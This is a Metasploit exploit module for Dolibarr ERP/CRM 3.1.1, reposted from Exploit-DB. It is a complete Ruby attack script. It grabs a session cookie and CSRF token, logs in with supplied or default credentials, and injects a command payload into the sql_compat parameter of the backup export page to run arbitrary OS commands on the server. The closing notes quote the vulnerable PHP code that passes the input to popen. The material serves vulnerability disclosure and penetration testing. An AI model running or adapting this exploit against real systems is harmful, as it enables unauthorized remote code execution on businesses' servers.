Dolibarr ERP/CRM 3 – (Authenticated) OS Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-04-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18724/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
    			'Description'=> %q{
    					This module exploits a vulnerability found in Dolibarr ERP/CRM's
    				backup feature.This software is used to manage a company's business
    				information such as contacts, invoices, orders, stocks, agenda, etc.
    				When processing a database backup request, the export.php function
    				does not check the input given to the sql_compat parameter, which allows
    				a remote authenticated attacker to inject system commands into it,
    				and then gain arbitrary code execution.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',#Discovery, PoC
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
    				],
    			'Arch'=> ARCH_CMD,
    			'Compat'=>
    				{
    					'PayloadType' => 'cmd'
    				},
    			'Platform' => ['unix', 'linux'],
    			'Targets'=>
    				[
    					# Older versions are probably also vulnerable according to
    					# Nahuel's report on full disclosure
    					['Dolibarr 3.1.1 on Linux', {}]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Apr 6 2012",
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptString.new('USERNAME',[true, 'Dolibarr Username', 'admin']),
    					OptString.new('PASSWORD',[true, 'Dolibarr Password', 'test']),
    					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
    				], self.class)
    	end
    
    	def check
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> target_uri.path
    		})
    
    		if res.body =~ /Dolibarr 3\.1\.1/
    			return Exploit::CheckCode::Appears
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def get_sid_token
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> @uri.path
    		})
    
    		# Get the session ID from the cookie
    		m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
    		id = (m.nil?) ? nil : m[1]
    
    		# Get the token from the decompressed HTTP body response
    		m = res.body.match(/type="hidden" name="token" value="(.+)"/)
    		token = (m.nil?) ? nil : m[1]
    
    		return id, token
    	end
    
    	def login(sid, token)
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{@uri.path}index.php",
    			'cookie' => sid,
    			'vars_post' => {
    				'token' => token,
    				'loginfunction' => 'loginfunction',
    				'tz'=> '-6',
    				'dst' => '1',
    				'screenwidth' => '1093',
    				'screenheight'=> '842',
    				'username'=> datastore['USERNAME'],
    				'password'=> datastore['PASSWORD']
    			}
    		})
    
    		location = res.headers['Location']
    		return (location =~ /admin\//)
    	end
    
    	def exploit
    		@uri = target_uri
    		@uri.path << "/" if @uri.path[-1, 1] != "/"
    		peer = "#{rhost}:#{rport}"
    
    		print_status("#{peer} - Getting the sid and token...")
    		sid, token = get_sid_token
    		if sid.nil?
    			print_error("#{peer} - Unable to retrieve a session ID")
    			return
    		elsif token.nil?
    			print_error("#{peer} - Unable to retrieve a token")
    			return
    		end
    
    		user = datastore['USERNAME']
    		pass = datastore['PASSWORD']
    		print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
    		success = login(sid, token)
    		if not success
    			print_error("#{peer} - Unable to login")
    			return
    		end
    
    		print_status("#{peer} - Sending malicious request...")
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => @uri.path + "admin/tools/export.php",
    			'cookie'=> sid,
    			'vars_post' => {
    				'token' => token,
    				'export_type' => 'server',
    				'what'=> 'mysql',
    				'mysqldump' => '/usr/bin/mysqldump',
    				'use_transaction' => 'yes',
    				'disable_fk'=> 'yes',
    				'sql_compat'=> ";#{payload.encoded};",
    				'sql_structure' => 'structure',
    				'drop'=> '1',
    				'sql_data'=> 'data',
    				'showcolumns' => 'yes',
    				'extended_ins'=> 'yes',
    				'delayed' => 'yes',
    				'sql_ignore'=> 'yes',
    				'hexforbinary'=> 'yes',
    				'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
    				'compression' => 'none'
    			}
    		})
    
    	end
    end
    
    =begin
    Notes:
    
    114if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
    ...
    137$paramcrypted=$param;
    ...
    159$fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
    ...
    165if ($handle)
    166{
    ....
    169$handlein = popen($fullcommandclear, 'r');
    ....
    185}
    =end